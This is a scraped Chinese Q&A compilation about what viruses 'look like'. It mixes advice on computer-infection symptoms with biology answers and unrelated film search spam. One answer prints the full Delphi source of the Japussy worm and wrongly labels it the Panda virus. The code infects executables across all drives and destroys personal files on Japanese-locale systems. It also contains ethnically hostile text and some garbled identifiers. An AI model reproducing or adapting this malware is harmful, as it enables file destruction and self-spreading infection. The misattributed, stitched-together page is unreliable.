導航:首頁 > 股票股吧 > 病毒的樣子

病毒的樣子

發布時間:2021-04-18 04:04:57

⑴ 中了病毒是什麼樣子的

了解了電腦病毒的基本知識,我們還必須了解電腦中毒後的一些表現,然後這樣會有助於我們判斷電腦是否中毒。在電腦出現以下中毒表現時,是在機器的硬體無故障,軟體運行正常的情況下發生的。

1、電腦無法啟動

電腦感染了引導型病毒後,通常會無法啟動,因為病毒破壞了操作系統的引導文件。最典型的病毒是CIH病毒。

2、電腦經常死機

病毒程序打開了較多的程序,或者是病毒自我復制,都會佔用大量的CPU資源和內存資源,從而造成機器經常死機。對於網路病毒,由於病毒為了傳播,通過郵件服務和QQ等聊天軟體傳播,也會造成系統因為資源耗盡而死機。

3、文件無法打開

系統中可以執行的文件,突然無法打開。由於病毒修改了感染了文件,可能會使文件損壞,或者是病毒破壞了可執行文件中操作系統中的關聯,都會使文件出現打不開的現象。

4、系統經常提示內存不足

現在機器的內存通常是256MB的標准配置,可是在打開很少程序的情況下,系統經常提示內存不足。部分病毒的開發者,通常是為了讓病毒佔用大量的系統資源,達到讓機器死機的目的。

5、機器空間不足

自我復制型的病毒,通常會在病毒激活後,進行自我復制,佔用硬碟的大量空間。

6、數據突然丟失

硬碟突然有大量數據丟失,這有可能是病毒具有刪除文件的破壞性,導致硬碟的數據突然消失。

7、電腦運行速度特別慢

在運行某個程序時,系統響應的時候特別長,響應的時間,超出了正常響應時間的5位以上。

8、鍵盤、滑鼠被鎖死

鍵盤、滑鼠在進行BIOS設置時正常,進入系統後無法使用。部分病毒,可以鎖定鍵盤、滑鼠在系統中的使用。

9、系統每天增加大量來歷不明的文件

病毒進行變種,或者入侵系統時遺留下的垃圾文件。

10、系統自動載入某些程序

系統啟動時,病毒可能會修改注冊表的鍵值,自動在後台運行某個程序。部分病毒,如QQ病毒,還會自動發送消息。

三、判斷電腦是否中毒的方法

我們在了解了病毒的基礎知識和中毒表現後,自然會有一些方法,來判斷我們的電腦是否中毒。

1、使用殺毒軟體進行磁碟掃描

判斷病毒的第一步,就是通過殺毒軟體進行掃描,查看機器中是否存在病毒。在掃描前,最好升級一下殺毒軟體的病毒庫。

2、查看硬碟容量

對於自我復制型病毒,查看硬碟容量,可以判斷出是否感染了病毒。特別是系統盤的容量大小,大家在平時,一定要了解自己的系統盤容量是多少。

3、檢查系統使用的內存數量

正常使用的操作系統,佔用的系統資源是一定的。如果系統感染了病毒,病毒肯定會佔用內存資源。對於Windows 98操作系統,進入操作系統後,在DOS提示符下,運行mem /c/p查看內存的使用情況,特別是640Kb的基本內存使用情況!在Windows 2000或者是Windows XP系統下,在「運行」中輸入cmd後,執行mem即可。

4、使用任務管理器查看進程數量

在Windows 2000和Windows XP操作系統中,可以利用任務管理器,查看一下是否有非法的進程在運行。對於一些隱蔽性的病毒,在任務管理器中不顯示進程。

5、查看注冊表

部分病毒的運行,需要通過注冊表載入的,如惡意網頁病毒都會通過注冊表載入,這些病毒,在注冊表中的載入位置如下:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windwos\CurrentVersion\Run]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windwos\CurrentVersionRunOnce]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windwos\CurrentVersionRunSevices]

[HKEY_CURRENT_USER\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\SOFTWARE\Microsoft
\Windows\CurrentVersion \RunOnce]

查看注冊表中以上幾個鍵值的情況,看一下有沒有異常的程序載入。要想提高判斷的准確性,可以把正常運行的機器的這幾個鍵值記錄下來,方便比較!

6、查看系統配置文件

這類病毒一般在隱藏在System.ini、Wini.ini(Win9x/WinME)和啟動組中。在System.ini文件中有一個「Shell=」項,而在Wini.ini文件中有「Load=」、「Run=」項,這些病毒一般就是在這些項目中載入它們自身的程序的,注意有時是修改原有的某個程序。我們可以運行msconfig.exe程序來一項一項查看。由於Windows 2000操作系統中沒有Msconifg這個程序,可以由Windows XP操作系統中復制!

7、觀察機器的啟動和運行速度

對於一些隱蔽性高的病毒,我們通過以上方法無法判斷時,可以根據機器的啟動和運行速度進行判斷,在保證硬體系統無故障和軟體系統運行正常的情況下,可以基本斷定已經感染病毒!

8、特徵字元串觀察法

這種方法主要是針對一些較特別的病毒,這些病毒入侵時會寫相應的特徵代碼,如CIH病毒就會在入侵的文件中寫入「CIH」這樣的字元串,當然我們不可能輕易地發現,我們可以對主要的系統文件(如Explorer.exe桌面主程序)運用16進制代碼編輯器進行編輯就可發現,當然編輯之前最好還要要備份,不然你修改錯了,就沒得救了!

處理辦法:
1、安裝殺毒軟體(免費軟體avast!口碑極好,推薦!http://www.avast.com)待其自動更新後殺毒。avast!支持DOS狀態的殺毒,效果非常好。
2、安裝超級巡警(當成是防火牆吧),在http://www.gougou.com 用迅雷下。安裝後打開所有監控,做漏洞掃描。
3、安裝金山公司的「金山清理專家」。下載地址:http://www.ba.net

⑵ 病毒長的是什麼樣子啊

很帥的

⑶ 病毒的樣子怎麼畫

我相冊里有黑白表情的圖案 如果覺得有合適的 就拿去當做病毒表情吧

⑷ 細菌和病毒是什麼樣子的

細菌與病毒是兩種概念,醫學上是。病毒比細菌小得多。但是電腦里只有病毒,沒有細菌哦。呵呵

⑸ 病菌到底長什麼樣子

樓主給你介紹幾個細菌:

大腸桿菌

大腸桿菌(學名:Escherichia coli,通常簡寫:E. coli)是人和動物腸道中最著名的一種細菌,主要寄生於大腸內,約占腸道菌中的1%。是一種兩端鈍圓、能運動、無芽孢的革蘭氏陰性短桿菌。除某些菌型能引起腹瀉外,一般不致病,能合成維生素B和K,對人體有益。每個人每天平均從糞便中排出1011到1013個大腸桿菌。 長的樣子如下圖:


希望能幫上你!求採納!謝謝!

⑹ 病毒什麼樣子什麼顏色幾個嘴

下面是熊貓病毒的核心代碼,就是幾個英文字母的集合

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconoffset = $12eb8; //pe文件主圖標的偏移量

//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
headersize = 38912; //upx壓縮過病毒體的大小
iconoffset = $92bc; //upx壓縮過pe文件主圖標的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744位元組
icontail = iconoffset + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記

//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procere stream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.from(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procere extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳過頭部的病毒部分
dstream.from(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procere fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 發帶毒郵件 }
procere sendmail;
begin
//哪位仁兄願意完成之?
end;
{ 感染pe文件 }
procere infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744位元組),存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
stream(hdrstream, 0, dststream, 0, iconoffset);
//寫入目前程序的主圖標
stream(icostream, 22, dststream, iconoffset, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
stream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
stream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼後刪除 }
procere smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁碟和網路盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目錄
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目錄
else result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
else if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
else
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免cpu佔用率過高引起懷疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁碟上所有的文件 }
procere infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁碟列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁碟驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注冊為服務進程
else //winnt
begin
//遠程線程映射到explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.

⑺ 病毒是什麼樣的

病毒沒有樣子,只是它可以阻礙你的電腦系統,使你想玩的玩不了想做的不能做。

⑻ 流感病毒的外形有哪些特徵

流行性感冒是世界上最猖獗的傳染病,曾多次席捲全球,給人類帶來巨大災難。僅僅在1957年的一次流感大傳播,全世界共有15億人發病,數以萬計的老人和小孩被折磨致死。

引起流行性感冒的病毒叫流行性感冒病毒,簡稱流感病毒。流感病毒有球狀或長形兩種形狀。它們能侵害人類、馬、豬和一些鳥。

流感病毒之所以如此猖獗肆行,是因為它們能夠不斷地發生變異,每一至兩年就會改變一下,令人防不勝防。像1957年的大傳染是由亞洲型流感病毒引起的;1968年從香港席捲全球的流感是香港型流感病毒;1973年在澳大利亞和紐西蘭發生的大規模流感是甲型流感病毒的新毒株——澳大利亞型流感病毒。目前所知,眾多能引起流感的病毒每種又可分為若干型和亞型。其中僅鼻病毒就有100多個不同的型。近30年來,大約每10年流感病毒就發生一次變異,這使已經獲得免疫力的人因經不住新型流感病毒的進攻而生病。流感病毒的這種變異特性為預防和治療流行性感冒帶來了巨大困難。不過,現在科學家已採取了主動,不僅有了廣泛的預防措施,就算一旦發現病毒新變種,也能很快地製成葯物治療,所以流感病毒也不是那麼容易作威作福了。

⑼ 生物中的病毒有什麼形狀

病毒的形態多種多樣,主要有:球形、桿形、蝌蚪形。

病毒是一種個體微小,結構簡單,只含一種核酸,必須在活細胞內寄生並以復制方式增殖的非細胞型生物,病毒是一種非細胞生命形態,它由一個核酸長鏈和蛋白質外殼構成,病毒沒有自己的代謝機構,沒有酶系統。

(9)病毒的樣子擴展閱讀:

生物病毒不管是烈性噬菌體還是溫和型噬菌體,都必需在活的宿主細胞中才能得以復制繁殖,利用宿主細胞的核苷酸和氨基酸來自主地合成自身的一些組件,裝配下一代個體。並達到他們的目的。

復制後的生物病毒裂解宿主細胞而被釋放出去,感染新的宿主細胞。

雖然生物病毒會給人類帶來一定的益處,例如利用噬菌體可以治療一些細菌感染

參考資料來源:網路-病毒

閱讀全文

與病毒的樣子相關的資料

熱點內容
姜慧恩演的片 瀏覽:924
最新帶撓腳心的電影 瀏覽:117
劉智苑健身是什麼電影 瀏覽:294
韓國恐怖電影失蹤免費觀看 瀏覽:899
韓劇電影免費看倫理 瀏覽:373
韓國最好看的三極推薦 瀏覽:503
兩個男人一起做鴨子的電影 瀏覽:745
國產恐怖片反派帶著面具拿著菜刀 瀏覽:522
可可托海 電影 瀏覽:472
池恩瑞的作品 瀏覽:18
巨貓電影 瀏覽:178
吃人奶 片段 瀏覽:168
啄木鳥電影都有哪些 瀏覽:298
江湖左手誰演的 瀏覽:670
部隊題材電影軍人可以去影院免費看嗎 瀏覽:564
章子怡 床戲 瀏覽:718
結婚過的男女電影 瀏覽:163
床戲影視 瀏覽:182
想看片卻找不到網站 瀏覽:724
國語電影免費在線 瀏覽:808